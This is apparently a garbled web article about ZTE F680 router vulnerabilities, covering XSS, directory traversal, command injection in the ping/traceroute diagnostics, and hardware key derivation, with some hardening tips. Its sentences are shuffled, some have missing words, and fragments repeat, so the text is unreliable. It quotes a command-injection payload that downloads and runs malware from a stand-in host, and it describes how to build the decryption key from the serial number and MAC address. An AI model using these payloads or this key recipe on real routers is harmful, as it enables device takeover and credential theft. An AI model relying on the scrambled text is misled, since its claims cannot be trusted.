The router's web panel includes a "Ping Test" or "Traceroute" function. The underlying script takes the IP address entered by the user and passes it directly to the system's Linux shell execution string.
Specifically reported in ZTE F680 V9.0.10P1N6. Severity: Medium (CVSS 3.x Score: 6.5). CVE-2022-23136 - Stored Cross-Site Scripting (XSS):
The ZTE F680 is a popular GPON ONU/Router known for several historical vulnerabilities. Most exploits targeting this device focus on , command injection , or directory traversal . 🛡️ Common Exploit Vectors
Through XSS, attackers may steal cookies, session tokens, or other sensitive browser data from users managing the router.
If your ISP allows configuration access, turn off UPnP to prevent unauthorized port forwarding rules. zte f680 exploit
As of 2024–2025, ZTE has changed encryption keys in newer firmware, requiring researchers to locate new keys within the router’s firmware or specific cspd files, often requiring Ghidra reverse engineering. Console Access (UART):
This article explores the mechanics of known ZTE F680 exploits, the risks they pose, and how to secure these gateways against unauthorized access. 1. The Landscape of ZTE GPON Vulnerabilities
Inside the ZTE F680 administration panel, certain tools—like the built-in Ping or Traceroute diagnostics—require user input. Attackers append shell metacharacters (such as ; , && , or | ) followed by malicious commands (e.g., ping 127.0.0.1; wget http://malicious-site/payload -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware ).
A protocol used by ISPs for remote management, auto-configuration, and firmware updates, operating over port 7547. The router's web panel includes a "Ping Test"
The hardware key is constructed by concatenating the (e.g., the last 8 uppercase hex characters of the ZTEGXXXXXXXX serial) with the device's MAC address written in reverse order (right to left).
Insecure endpoints that leak configuration files, Wi-Fi keys, or cleartext passwords.
To secure a ZTE F680 gateway against these exploits, users and administrators should follow these steps:
An unauthorized user can read sensitive configuration files, such as /etc/passwd or configuration backups containing ISP connection hashes and Wi-Fi passwords. 3. Command Injection via Web Interface Severity: Medium (CVSS 3
Deep Dive: Analyzing the ZTE F680 Exploits and Router Vulnerabilities
If you own or manage a ZTE F680 gateway, safeguarding it requires minimizing its exposure to the public internet and ensuring its software is tightly configured. Disable Remote Management
Access granted. The attacker now has a root shell.